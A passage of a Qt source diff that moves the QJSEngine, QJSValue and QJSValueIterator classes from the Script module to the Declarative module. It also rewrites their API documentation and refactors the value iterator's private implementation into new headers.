Q_D(QJSEngine);
@@ -209,6 +310,11 @@ QJSValue QJSEngine::nullValue()
return QJSValuePrivate::get(new QJSValuePrivate(d, v8::Null()));
}
+/*!
+ Returns a QJSValue of the primitive type Undefined.
+
+ \sa nullValue()
+*/
QJSValue QJSEngine::undefinedValue()
{
Q_D(QJSEngine);
@@ -217,6 +323,14 @@ QJSValue QJSEngine::undefinedValue()
return QJSValuePrivate::get(new QJSValuePrivate(d, v8::Undefined()));
}
+/*!
+ Creates a JavaScript object of class Object.
+
+ The prototype of the created object will be the Object
+ prototype object.
+
+ \sa newArray(), QJSValue::setProperty()
+*/
QJSValue QJSEngine::newObject()
{
Q_D(QJSEngine);
@@ -225,6 +339,11 @@ QJSValue QJSEngine::newObject()
return QJSValuePrivate::get(new QJSValuePrivate(d, v8::Object::New()));
}
+/*!
+ Creates a JavaScript object of class Array with the given \a length.
+
+ \sa newObject()
+*/
QJSValue QJSEngine::newArray(uint length)
{
Q_D(QJSEngine);
@@ -234,13 +353,12 @@ QJSValue QJSEngine::newArray(uint length)
}
/*!
- Creates a QtScript object that wraps the given QObject \a
+ Creates a JavaScript object that wraps the given QObject \a
object, using the given \a ownership. The given \a options control
various aspects of the interaction with the resulting script object.
Signals and slots, properties and children of \a object are
- available as properties of the created QJSValue. For more
- information, see the \l{QtScript} documentation.
+ available as properties of the created QJSValue.
If \a object is a null pointer, this function returns nullValue().
@@ -248,8 +366,8 @@ QJSValue QJSEngine::newArray(uint length)
(or its superclass, recursively), the prototype of the new script
object will be set to be that default prototype.
- If the given \a object is deleted outside of QtScript's control, any
- attempt to access the deleted QObject's members through the QtScript
+ If the given \a object is deleted outside of the engine's control, any
+ attempt to access the deleted QObject's members through the JavaScript
wrapper object (either by script code or C++) will result in a
script exception.
@@ -264,7 +382,7 @@ QJSValue QJSEngine::newQObject(QObject *object)
}
/*!
- Creates a QtScript object holding the given variant \a value.
+ Creates a JavaScript object holding the given variant \a value.
If a default prototype has been registered with the meta type id of
\a value, then the prototype of the created object will be that
@@ -282,6 +400,16 @@ QJSValue QJSEngine::newVariant(const QVariant &value)
}
+/*!
+ Returns this engine's Global Object.
+
+ By default, the Global Object contains the built-in objects that are
+ part of \l{ECMA-262}, such as Math, Date and String. Additionally,
+ you can set properties of the Global Object to make your own
+ extensions available to all script code. Non-local variables in
+ script code will be created as properties of the Global Object, as
+ well as local variables in global code.
+*/
QJSValue QJSEngine::globalObject() const
{
Q_D(const QJSEngine);
@@ -290,6 +418,23 @@ QJSValue QJSEngine::globalObject() const
return d->scriptValueFromInternal(d->global());
}
+/*!
+ Converts the given \a value to an object, if such a conversion is
+ possible; otherwise returns an invalid QJSValue. The conversion
+ is performed according to the following table:
+
+ \table
+ \header \o Input Type \o Result
+ \row \o Undefined \o An invalid QJSValue.
+ \row \o Null \o An invalid QJSValue.
+ \row \o Boolean \o A new Boolean object whose internal value is set to the value of the boolean.
+ \row \o Number \o A new Number object whose internal value is set to the value of the number.
+ \row \o String \o A new String object whose internal value is set to the value of the string.
+ \row \o Object \o The result is the object itself (no conversion).
+ \endtable
+
+ \sa newObject()
+*/
QJSValue QJSEngine::toObject(const QJSValue& value)
{
Q_D(QJSEngine);
@@ -299,7 +444,7 @@ QJSValue QJSEngine::toObject(const QJSValue& value)
}
/*!
- Creates a QtScript object of class Date from the given \a value.
+ Creates a JavaScript object of class Date from the given \a value.
\sa QJSValue::toDateTime()
*/
@@ -312,7 +457,7 @@ QJSValue QJSEngine::newDate(const QDateTime &dt)
}
/*!
- Creates a QtScript object of class Date with the given
+ Creates a JavaScript object of class Date with the given
\a value (the number of milliseconds since 01 January 1970,
UTC).
*/
@@ -325,7 +470,7 @@ QJSValue QJSEngine::newDate(double date)
}
/*!
- Creates a QtScript object of class RegExp with the given
+ Creates a JavaScript object of class RegExp with the given
\a regexp.
\sa QJSValue::toRegExp()
@@ -339,7 +484,7 @@ QJSValue QJSEngine::newRegExp(const QRegExp &regexp)
}
/*!
- Creates a QtScript object of class RegExp with the given
+ Creates a JavaScript object of class RegExp with the given
\a pattern and \a flags.
The legal flags are 'g' (global), 'i' (ignore case), and 'm'
@@ -425,6 +570,19 @@ bool QJSEngine::convertV2(const QJSValue &value, int type, void *ptr)
}
}
+/*! \fn QJSValue QJSEngine::toScriptValue(const T &value)
+
+ Creates a QJSValue with the given \a value.
+
+ \sa fromScriptValue()
+*/
+
+/*! \fn T QJSEngine::fromScriptValue(const QJSValue &value)
+
+ Returns the given \a value converted to the template type \c{T}.
+
+ \sa toScriptValue()
+*/
QT_END_NAMESPACE
diff --git a/src/declarative/qml/v8/qjsengine.h b/src/declarative/qml/v8/qjsengine.h
index 5109cefcf4..759363ab84 100644
--- a/src/declarative/qml/v8/qjsengine.h
+++ b/src/declarative/qml/v8/qjsengine.h
@@ -35,7 +35,7 @@ QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-QT_MODULE(Script)
+QT_MODULE(Declarative)
class QDateTime;
class QV8Engine;
@@ -45,7 +45,7 @@ class QRegExp;
template <typename T>
inline T qjsvalue_cast(const QJSValue &);
-class Q_SCRIPT_EXPORT QJSEngine
+class Q_DECLARATIVE_EXPORT QJSEngine
: public QObject
{
Q_OBJECT
diff --git a/src/declarative/qml/v8/qjsvalue.cpp b/src/declarative/qml/v8/qjsvalue.cpp
index eff7b4321a..bbfae8983c 100644
--- a/src/declarative/qml/v8/qjsvalue.cpp
+++ b/src/declarative/qml/v8/qjsvalue.cpp
@@ -31,23 +31,71 @@
#include <QtCore/qregexp.h>
#include <QtCore/qstring.h>
-QT_BEGIN_NAMESPACE
-
/*!
- Constructs an invalid value.
+ \since 5.0
+ \class QJSValue
+
+ \brief The QJSValue class acts as a container for Qt/JavaScript data types.
+
+ \ingroup qtjavascript
+ \mainclass
+
+ QJSValue supports the types defined in the \l{ECMA-262}
+ standard: The primitive types, which are Undefined, Null, Boolean,
+ Number, and String; and the Object type. Additionally, built-in
+ support is provided for Qt/C++ types such as QVariant and QObject.
+
+ For the object-based types (including Date and RegExp), use the
+ newT() functions in QJSEngine (e.g. QJSEngine::newObject())
+ to create a QJSValue of the desired type. For the primitive types,
+ use one of the QJSValue constructor overloads.
+
+ The methods named isT() (e.g. isBool(), isUndefined()) can be
+ used to test if a value is of a certain type. The methods named
+ toT() (e.g. toBool(), toString()) can be used to convert a
+ QJSValue to another type. You can also use the generic
+ QJSValue_cast() function.
+
+ Object values have zero or more properties which are themselves
+ QJSValues. Use setProperty() to set a property of an object, and
+ call property() to retrieve the value of a property.
+
+ \snippet doc/src/snippets/code/src_script_qjsvalue.cpp 0
+
+ The attributes of a property can be queried by calling the
+ propertyFlags() function.
+
+ If you want to iterate over the properties of a script object, use
+ the QJSValueIterator class.
+
+ Object values have an internal \c{prototype} property, which can be
+ accessed with prototype() and setPrototype().
+
+ Function objects (objects for which isFunction() returns true) can
+ be invoked by calling call(). Constructor functions can be used to
+ construct new objects by calling construct().
+
+ Use equals() or strictlyEquals() to compare a QJSValue to another.
+
+ Note that a QJSValue for which isObject() is true only carries a
+ reference to an actual object; copying the QJSValue will only
+ copy the object reference, not the object itself. If you want to
+ clone an object (i.e. copy an object's properties to another
+ object), you can do so with the help of a \c{for-in} statement in
+ script code, or QJSValueIterator in C++.
+
+ \sa QJSEngine, QJSValueIterator
*/
-QJSValue::QJSValue()
- : d_ptr(InvalidValue())
-{
-}
/*!
- Constructs a new QJSValue with a boolean \a value.
+ \enum QJSValue::SpecialValue
+
+ This enum is used to specify a single-valued type.
+
+ \value UndefinedValue An undefined value.
+
+ \value NullValue A null value.
*/
-QJSValue::QJSValue(bool value)
- : d_ptr(new QJSValuePrivate(value))
-{
-}
/*!
\enum QJSValue::PropertyFlag
@@ -59,17 +107,25 @@ QJSValue::QJSValue(bool value)
\value Undeletable Attempts by Qt Script code to \c{delete} the property will be ignored.
\value SkipInEnumeration The property is not to be enumerated by a \c{for-in} enumeration.
+*/
- \value PropertyGetter The property is defined by a function which will be called to get the property value.
-
- \value PropertySetter The property is defined by a function which will be called to set the property value.
-
- \omitvalue QObjectMember This flag is used to indicate that an existing property is a QObject member (a property or method).
+QT_BEGIN_NAMESPACE
- \value KeepExistingFlags This value is used to indicate to setProperty() that the property's flags should be left unchanged. If the property doesn't exist, the default flags (0) will be used.
+/*!
+ Constructs an invalid value.
+*/
+QJSValue::QJSValue()
+ : d_ptr(InvalidValue())
+{
+}
- \omitvalue UserRange Flags in this range are not used by Qt Script, and can be used for custom purposes.
+/*!
+ Constructs a new QJSValue with a boolean \a value.
*/
+QJSValue::QJSValue(bool value)
+ : d_ptr(new QJSValuePrivate(value))
+{
+}
/*!
Constructs a new QJSValue with a number \a value.
@@ -120,8 +176,6 @@ QJSValue::QJSValue(const QLatin1String &value)
}
/*!
- \fn QJSValue::QJSValue(const QLatin1String &value)
-
Constructs a new QJSValue with a string \a value.
*/
#ifndef QT_NO_CAST_FROM_ASCII
@@ -383,8 +437,6 @@ bool QJSValue::isUndefined() const
/*!
Returns true if this QJSValue is an object of the Error class;
otherwise returns false.
-
- \sa QScriptContext::throwError()
*/
bool QJSValue::isError() const
{
@@ -654,7 +706,7 @@ QVariant QJSValue::toVariant() const
QJSEngine::hasUncaughtException() to determine if an exception
occurred.
- \snippet doc/src/snippets/code/src_script_qscriptvalue.cpp 2
+ \snippet doc/src/snippets/code/src_script_qjsvalue.cpp 1
\sa construct()
*/
@@ -773,7 +825,7 @@ QJSValue& QJSValue::operator=(const QJSValue& other)
toString()) in an attempt to convert the object to a primitive value
(possibly resulting in an uncaught script exception).
- \sa strictlyEquals(), lessThan()
+ \sa strictlyEquals()
*/
bool QJSValue::equals(const QJSValue& other) const
{
@@ -830,9 +882,7 @@ bool QJSValue::instanceOf(const QJSValue &other) const
}
/*!
- Returns the value of this QJSValue's property with the given \a name,
- using the given \a mode to resolve the property.
-
+ Returns the value of this QJSValue's property with the given \a name.
If no such property exists, an invalid QJSValue is returned.
If the property is implemented using a getter function (i.e. has the
@@ -854,8 +904,7 @@ QJSValue QJSValue::property(const QString& name) const
/*!
\overload
- Returns the property at the given \a arrayIndex, using the given \a
- mode to resolve the property.
+ Returns the property at the given \a arrayIndex.
This function is provided for convenience and performance when
working with array objects.
@@ -878,8 +927,7 @@ QJSValue QJSValue::property(quint32 arrayIndex) const
If this QJSValue is not an object, this function does nothing.
If this QJSValue does not already have a property with name \a name,
- a new property is created; the given \a flags then specify how this
- property may be accessed by script code.
+ a new property is created.
If \a value is invalid, the property is removed.
@@ -922,8 +970,7 @@ void QJSValue::setProperty(quint32 arrayIndex, const QJSValue& value)
}
/*!
- Returns the flags of the property with the given \a name, using the
- given \a mode to resolve the property.
+ Returns the flags of the property with the given \a name.
\sa property()
*/
diff --git a/src/declarative/qml/v8/qjsvalue.h b/src/declarative/qml/v8/qjsvalue.h
index 07276bc694..8b78addd00 100644
--- a/src/declarative/qml/v8/qjsvalue.h
+++ b/src/declarative/qml/v8/qjsvalue.h
@@ -34,7 +34,7 @@ QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-QT_MODULE(Script)
+QT_MODULE(Declarative)
class QJSValue;
class QJSEngine;
@@ -50,7 +50,7 @@ class QJSValuePrivate;
struct QScriptValuePrivatePointerDeleter;
template <class T> class QScriptPassPointer;
-class Q_SCRIPT_EXPORT QJSValue
+class Q_DECLARATIVE_EXPORT QJSValue
{
public:
enum PropertyFlag {
diff --git a/src/declarative/qml/v8/qjsvalue_impl_p.h b/src/declarative/qml/v8/qjsvalue_impl_p.h
index adff6ce945..b0ad7669d7 100644
--- a/src/declarative/qml/v8/qjsvalue_impl_p.h
+++ b/src/declarative/qml/v8/qjsvalue_impl_p.h
@@ -42,6 +42,29 @@
QT_BEGIN_NAMESPACE
+// This template is used indirectly by the Q_GLOBAL_STATIC macro below
+template<>
+class QGlobalStaticDeleter<QJSValuePrivate>
+{
+public:
+ QGlobalStatic<QJSValuePrivate> &globalStatic;
+ QGlobalStaticDeleter(QGlobalStatic<QJSValuePrivate> &_globalStatic)
+ : globalStatic(_globalStatic)
+ {
+ globalStatic.pointer->ref.ref();
+ }
+
+ inline ~QGlobalStaticDeleter()
+ {
+ if (!globalStatic.pointer->ref.deref()) { // Logic copy & paste from SharedDataPointer
+ delete globalStatic.pointer;
+ }
+ globalStatic.pointer = 0;
+ globalStatic.destroyed = true;
+ }
+};
+
+Q_GLOBAL_STATIC(QJSValuePrivate, InvalidValue)
QJSValuePrivate* QJSValuePrivate::get(const QJSValue& q) { Q_ASSERT(q.d_ptr.data()); return q.d_ptr.data(); }
@@ -803,6 +826,8 @@ inline QScriptPassPointer<QJSValuePrivate> QJSValuePrivate::property(const QStri
{
if (!name.length())
return InvalidValue();
+ if (!isObject())
+ return InvalidValue();
v8::HandleScope handleScope;
return property(QJSConverter::toString(name));
@@ -1013,12 +1038,14 @@ bool QJSValuePrivate::assignEngine(QV8Engine* engine)
/*!
\internal
- reinitialize this value to an invalid value.
+ Invalidates this value.
+
+ Does not remove the value from the engine's list of
+ registered values; that's the responsibility of the caller.
*/
-void QJSValuePrivate::reinitialize()
+void QJSValuePrivate::invalidate()
{
if (isJSBased()) {
- m_engine->unregisterValue(this);
m_value.Dispose();
m_value.Clear();
} else if (isStringBased()) {
@@ -1028,26 +1055,6 @@ void QJSValuePrivate::reinitialize()
m_state = Invalid;
}
-/*!
- \internal
- reinitialize this value to an JSValue.
-*/
-void QJSValuePrivate::reinitialize(QV8Engine* engine, v8::Handle<v8::Value> value)
-{
- Q_ASSERT_X(this != InvalidValue(), Q_FUNC_INFO, "static invalid can't be reinitialized to a different value");
- if (isJSBased()) {
- m_value.Dispose();
- // avoid double registration
- m_engine->unregisterValue(this);
- } else if (isStringBased()) {
- delete u.m_string;
- }
- m_engine = engine;
- m_state = JSValue;
- m_value = v8::Persistent<v8::Value>::New(value);
- m_engine->registerValue(this);
-}
-
QV8Engine* QJSValuePrivate::engine() const
{
return m_engine;
diff --git a/src/declarative/qml/v8/qjsvalue_p.h b/src/declarative/qml/v8/qjsvalue_p.h
index 7b2a001f97..09cd38b0bf 100644
--- a/src/declarative/qml/v8/qjsvalue_p.h
+++ b/src/declarative/qml/v8/qjsvalue_p.h
@@ -43,19 +43,20 @@
#include <QtCore/qvarlengtharray.h>
#include <qdebug.h>
-#include "qscripttools_p.h"
+#include <private/qintrusivelist_p.h>
#include "qscriptshareddata_p.h"
#include "qjsvalue.h"
QT_BEGIN_NAMESPACE
+class QV8Engine;
+
/*!
\internal
\class QJSValuePrivate
*/
class QJSValuePrivate
: public QSharedData
- , public QScriptLinkedNode
{
public:
inline QJSValuePrivate();
@@ -79,8 +80,7 @@ public:
inline QJSValuePrivate(QV8Engine *engine, const QString& value);
inline QJSValuePrivate(QV8Engine *engine, QJSValue::SpecialValue value);
inline QJSValuePrivate(QV8Engine *engine, v8::Handle<v8::Value>);
- inline void reinitialize();
- inline void reinitialize(QV8Engine *engine, v8::Handle<v8::Value> value);
+ inline void invalidate();
inline bool toBool() const;
inline double toNumber() const;
@@ -147,6 +147,7 @@ public:
inline operator v8::Handle<v8::Object>() const;
inline v8::Handle<v8::Value> asV8Value(QV8Engine *engine);
private:
+ QIntrusiveListNode m_node;
QV8Engine *m_engine;
// Please, update class documentation when you change the enum.
@@ -182,32 +183,10 @@ private:
inline bool isNumberBased() const;
inline bool isStringBased() const;
inline bool prepareArgumentsForCall(v8::Handle<v8::Value> argv[], const QJSValueList& arguments) const;
-};
-// This template is used indirectly by the Q_GLOBAL_STATIC macro below
-template<>
-class QGlobalStaticDeleter<QJSValuePrivate>
-{
-public:
- QGlobalStatic<QJSValuePrivate> &globalStatic;
- QGlobalStaticDeleter(QGlobalStatic<QJSValuePrivate> &_globalStatic)
- : globalStatic(_globalStatic)
- {
- globalStatic.pointer->ref.ref();
- }
-
- inline ~QGlobalStaticDeleter()
- {
- if (!globalStatic.pointer->ref.deref()) { // Logic copy & paste from SharedDataPointer
- delete globalStatic.pointer;
- }
- globalStatic.pointer = 0;
- globalStatic.destroyed = true;
- }
+ friend class QV8Engine;
};
-Q_GLOBAL_STATIC(QJSValuePrivate, InvalidValue)
-
QT_END_NAMESPACE
#endif
diff --git a/src/declarative/qml/v8/qjsvalueiterator.cpp b/src/declarative/qml/v8/qjsvalueiterator.cpp
index ca9123f0c0..76a43c9475 100644
--- a/src/declarative/qml/v8/qjsvalueiterator.cpp
+++ b/src/declarative/qml/v8/qjsvalueiterator.cpp
@@ -22,6 +22,7 @@
****************************************************************************/
#include "qjsvalueiterator.h"
+#include "qjsvalueiterator_p.h"
#include "qscriptisolate_p.h"
#include "qjsvalue_p.h"
@@ -35,7 +36,7 @@ QT_BEGIN_NAMESPACE
\brief The QJSValueIterator class provides a Java-style iterator for QJSValue.
- \ingroup script
+ \ingroup qtjavascript
The QJSValueIterator constructor takes a QJSValue as
@@ -43,169 +44,28 @@ QT_BEGIN_NAMESPACE
beginning of the sequence of properties. Here's how to iterate over
all the properties of a QJSValue:
- \snippet doc/src/snippets/code/src_script_QJSValueIterator.cpp 0
+ \snippet doc/src/snippets/code/src_script_qjsvalueiterator.cpp 0
- The next() advances the iterator. The name(), value() and flags()
- functions return the name, value and flags of the last item that was
+ The next() advances the iterator. The name() and value()
+ functions return the name and value of the last item that was
jumped over.
- If you want to remove properties as you iterate over the
- QJSValue, use remove(). If you want to modify the value of a
- property, use setValue().
-
Note that QJSValueIterator only iterates over the QJSValue's
own properties; i.e. it does not follow the prototype chain. You can
use a loop like this to follow the prototype chain:
- \snippet doc/src/snippets/code/src_script_QJSValueIterator.cpp 1
+ \snippet doc/src/snippets/code/src_script_qjsvalueiterator.cpp 1
Note that QJSValueIterator will not automatically skip over
properties that have the QJSValue::SkipInEnumeration flag set;
that flag only affects iteration in script code. If you want, you
can skip over such properties with code like the following:
- \snippet doc/src/snippets/code/src_script_QJSValueIterator.cpp 2
+ \snippet doc/src/snippets/code/src_script_qjsvalueiterator.cpp 2
\sa QJSValue::property()
*/
-using v8::Persistent;
-using v8::Local;
-using v8::Array;
-using v8::String;
-using v8::Handle;
-using v8::Object;
-using v8::Value;
-
-// FIXME (Qt5) This class should be refactored. It should use the common Iterator interface.
-// FIXME it could be faster!
-class QJSValueIteratorPrivate {
-public:
- inline QJSValueIteratorPrivate(const QJSValuePrivate* value);
- inline ~QJSValueIteratorPrivate();
-
- inline bool hasNext() const;
- inline bool next();
-
- inline QString name() const;
-
- inline QScriptPassPointer<QJSValuePrivate> value() const;
-
- inline bool isValid() const;
- inline QV8Engine* engine() const;
-private:
- Q_DISABLE_COPY(QJSValueIteratorPrivate)
- //void dump(QString) const;
-
- QScriptSharedDataPointer<QJSValuePrivate> m_object;
- QList<v8::Persistent<v8::String> > m_names;
- QMutableListIterator<v8::Persistent<v8::String> > m_iterator;
-};
-
-inline QJSValueIteratorPrivate::QJSValueIteratorPrivate(const QJSValuePrivate* value)
- : m_object(const_cast<QJSValuePrivate*>(value))
- , m_iterator(m_names)
-{
- Q_ASSERT(value);
- QV8Engine *engine = m_object->engine();
- QScriptIsolate api(engine);
- if (!m_object->isObject())
- m_object = 0;
- else {
- v8::HandleScope scope;
- Handle<Value> tmp = *value;
- Handle<Object> obj = Handle<Object>::Cast(tmp);
- Local<Array> names;
-
- // FIXME we need newer V8!
- //names = obj->GetOwnPropertyNames();
- names = engine->getOwnPropertyNames(obj);
-
- // it is suboptimal, it would be better to write iterator instead
- uint32_t count = names->Length();
- Local<String> name;
- m_names.reserve(count); // The count is the maximal count of values.
- for (uint32_t i = count - 1; i < count; --i) {
- name = names->Get(i)->ToString();
- m_names.append(v8::Persistent<v8::String>::New(name));
- }
-
- // Reinitialize the iterator.
- m_iterator = m_names;
- }
-}
-
-inline QJSValueIteratorPrivate::~QJSValueIteratorPrivate()
-{
- QMutableListIterator<v8::Persistent<v8::String> > it = m_names;
- //FIXME: we need register this QJSVAlueIterator
- if (engine()) {
- while (it.hasNext()) {
- it.next().Dispose();
- }
- } else {
- // FIXME leak ?
- }
-}
-
-inline bool QJSValueIteratorPrivate::hasNext() const
-{
- //dump("hasNext()");
- return isValid()
- ? m_iterator.hasNext() : false;
-}
-
-inline bool QJSValueIteratorPrivate::next()
-{
- //dump("next();");
- if (m_iterator.hasNext()) {
- m_iterator.next();
- return true;
- }
- return false;
-}
-
-inline QString QJSValueIteratorPrivate::name() const
-{
- //dump("name");
- if (!isValid())
- return QString();
-
- return QJSConverter::toString(m_iterator.value());
-}
-
-inline QScriptPassPointer<QJSValuePrivate> QJSValueIteratorPrivate::value() const
-{
- //dump("value()");
- if (!isValid())
- return InvalidValue();
-
- return m_object->property(m_iterator.value());
-}
-
-inline bool QJSValueIteratorPrivate::isValid() const
-{
- bool result = m_object ? m_object->isValid() : false;
- // We know that if this object is still valid then it is an object
- // if this assumption is not correct then some other logic in this class
- // have to be changed too.
- Q_ASSERT(!result || m_object->isObject());
- return result;
-}
-
-inline QV8Engine* QJSValueIteratorPrivate::engine() const
-{
- return m_object ? m_object->engine() : 0;
-}
-
-//void QJSValueIteratorPrivate::dump(QString fname) const
-//{
-// qDebug() << " *** " << fname << " ***";
-// foreach (Persistent<String> name, m_names) {
-// qDebug() << " - " << QJSConverter::toString(name);
-// }
-//}
-
/*!
Constructs an iterator for traversing \a object. The iterator is
set to be at the front of the sequence of properties (before the
@@ -226,7 +86,7 @@ QJSValueIterator::~QJSValueIterator()
(i.e. the iterator is \e not at the back of the property sequence);
otherwise returns false.
- \sa next(), hasPrevious()
+ \sa next()
*/
bool QJSValueIterator::hasNext() const
{
@@ -237,11 +97,14 @@ bool QJSValueIterator::hasNext() const
/*!
Advances the iterator by one position.
+ Returns true if there is at least one item ahead of the iterator
+ (i.e. the iterator is \e not at the back of the property sequence);
+ otherwise returns false.
Calling this function on an iterator located at the back of the
container leads to undefined results.
- \sa hasNext(), previous(), name()
+ \sa hasNext(), name()
*/
bool QJSValueIterator::next()
{
@@ -252,9 +115,9 @@ bool QJSValueIterator::next()
/*!
Returns the name of the last property that was jumped over using
- next() or previous().
+ next().
- \sa value(), flags()
+ \sa value()
*/
QString QJSValueIterator::name() const
{
@@ -266,9 +129,9 @@ QString QJSValueIterator::name() const
/*!
Returns the value of the last property that was jumped over using
- next() or previous().
+ next().
- \sa setValue(), name()
+ \sa name()
*/
QJSValue QJSValueIterator::value() const
{
diff --git a/src/declarative/qml/v8/qjsvalueiterator.h b/src/declarative/qml/v8/qjsvalueiterator.h
index 1ec4d4b63b..575421d33e 100644
--- a/src/declarative/qml/v8/qjsvalueiterator.h
+++ b/src/declarative/qml/v8/qjsvalueiterator.h
@@ -31,12 +31,12 @@ QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-QT_MODULE(Script)
+QT_MODULE(Declarative)
class QString;
class QJSValueIteratorPrivate;
-class Q_SCRIPT_EXPORT QJSValueIterator
+class Q_DECLARATIVE_EXPORT QJSValueIterator
{
public:
QJSValueIterator(const QJSValue &value);
diff --git a/src/declarative/qml/v8/qjsvalueiterator_impl_p.h b/src/declarative/qml/v8/qjsvalueiterator_impl_p.h
new file mode 100644
index 0000000000..68075e55f3
--- /dev/null
+++ b/src/declarative/qml/v8/qjsvalueiterator_impl_p.h
@@ -0,0 +1,121 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL-ONLY$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QJSVALUEITERATOR_IMPL_P_H
+#define QJSVALUEITERATOR_IMPL_P_H
+
+#include <qjsvalueiterator_p.h>
+#include <qv8engine_p.h>
+#include <qjsconverter_p.h>
+
+inline QJSValueIteratorPrivate::QJSValueIteratorPrivate(const QJSValuePrivate* value)
+ : m_object(const_cast<QJSValuePrivate*>(value))
+ , m_index(0)
+ , m_count(0)
+{
+ Q_ASSERT(value);
+ QV8Engine *engine = m_object->engine();
+ if (!m_object->isObject())
+ m_object = 0;
+ else {
+ QScriptIsolate api(engine, QScriptIsolate::NotNullEngine);
+ v8::HandleScope scope;
+
+ v8::Handle<v8::Value> tmp = *value;
+ v8::Handle<v8::Object> obj = v8::Handle<v8::Object>::Cast(tmp);
+ v8::Local<v8::Array> names;
+
+ // FIXME we need newer V8!
+ //names = obj->GetOwnPropertyNames();
+ names = engine->getOwnPropertyNames(obj);
+ m_names = v8::Persistent<v8::Array>::New(names);
+ m_count = names->Length();
+
+ engine->registerValueIterator(this);
+ }
+}
+
+inline QJSValueIteratorPrivate::~QJSValueIteratorPrivate()
+{
+ if (isValid()) {
+ engine()->unregisterValueIterator(this);
+ m_names.Dispose();
+ }
+}
+
+inline void QJSValueIteratorPrivate::invalidate()
+{
+ m_names.Dispose();
+ m_object.reset();
+ m_index = 0;
+ m_count = 0;
+}
+
+inline bool QJSValueIteratorPrivate::hasNext() const
+{
+ return isValid() ? m_index < m_count : false;
+}
+
+inline bool QJSValueIteratorPrivate::next()
+{
+ if (hasNext()) {
+ ++m_index;
+ return true;
+ }
+ return false;
+}
+
+inline QString QJSValueIteratorPrivate::name() const
+{
+ if (!isValid())
+ return QString();
+
+ v8::HandleScope handleScope;
+ return QJSConverter::toString(m_names->Get(m_index - 1)->ToString());
+}
+
+inline QScriptPassPointer<QJSValuePrivate> QJSValueIteratorPrivate::value() const
+{
+ if (!isValid())
+ return InvalidValue();
+
+ v8::HandleScope handleScope;
+ return m_object->property(m_names->Get(m_index - 1)->ToString());
+}
+
+inline bool QJSValueIteratorPrivate::isValid() const
+{
+ bool result = m_object ? m_object->isValid() : false;
+ // We know that if this object is still valid then it is an object
+ // if this assumption is not correct then some other logic in this class
+ // have to be changed too.
+ Q_ASSERT(!result || m_object->isObject());
+ return result;
+}
+
+inline QV8Engine* QJSValueIteratorPrivate::engine() const
+{
+ return m_object ? m_object->engine() : 0;
+}
+
+#endif // QJSVALUEITERATOR_IMPL_P_H
diff --git a/src/declarative/qml/v8/qjsvalueiterator_p.h b/src/declarative/qml/v8/qjsvalueiterator_p.h
new file mode 100644
index 0000000000..6113d3dd4f
--- /dev/null
+++ b/src/declarative/qml/v8/qjsvalueiterator_p.h
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL-ONLY$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QJSVALUEITERATOR_P_H
+#define QJSVALUEITERATOR_P_H
+
+#include <private/qintrusivelist_p.h>
+#include "qjsvalue_p.h"
+
+#include <private/qv8_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QV8Engine;
+
+class QJSValueIteratorPrivate
+{
+public:
+ inline QJSValueIteratorPrivate(const QJSValuePrivate* value);
+ inline ~QJSValueIteratorPrivate();
+
+ inline bool hasNext() const;
+ inline bool next();
+
+ inline QString name() const;
+
+ inline QScriptPassPointer<QJSValuePrivate> value() const;
+
+ inline bool isValid() const;
+ inline QV8Engine* engine() const;
+
+ inline void invalidate();
+private:
+ Q_DISABLE_COPY(QJSValueIteratorPrivate)
+
+ QIntrusiveListNode m_node;
+ QScriptSharedDataPointer<QJSValuePrivate> m_object;
+ v8::Persistent<v8::Array> m_names;
+ uint32_t m_index;
+ uint32_t m_count;
+
+ friend class QV8Engine;
+};
+
+
+QT_END_NAMESPACE
+
+#endif // QJSVALUEITERATOR_P_H
diff --git a/src/declarative/qml/v8/qscript_impl_p.h b/src/declarative/qml/v8/qscript_impl_p.h
index e66b561efe..d197d9fd6b 100644
--- a/src/declarative/qml/v8/qscript_impl_p.h
+++ b/src/declarative/qml/v8/qscript_impl_p.h
@@ -37,5 +37,6 @@
#include "qv8engine_impl_p.h"
#include "qjsvalue_impl_p.h"
+#include "qjsvalueiterator_impl_p.h"
#endif //QSCRIPT_IMPL_P_H
diff --git a/src/declarative/qml/v8/qscriptoriginalglobalobject_p.h b/src/declarative/qml/v8/qscriptoriginalglobalobject_p.h
index c46d0e37a0..c0a761f518 100644
--- a/src/declarative/qml/v8/qscriptoriginalglobalobject_p.h
+++ b/src/declarative/qml/v8/qscriptoriginalglobalobject_p.h
@@ -49,7 +49,7 @@ class QV8Engine;
class QScriptOriginalGlobalObject
{
public:
- inline QScriptOriginalGlobalObject(const QV8Engine *engine, v8::Handle<v8::Context> context);
+ inline QScriptOriginalGlobalObject(v8::Handle<v8::Context> context);
inline void destroy();
inline QJSValue::PropertyFlags getPropertyFlags(v8::Handle<v8::Object> object, v8::Handle<v8::Value> property);
@@ -63,7 +63,7 @@ private:
v8::Persistent<v8::Object> m_globalObject;
};
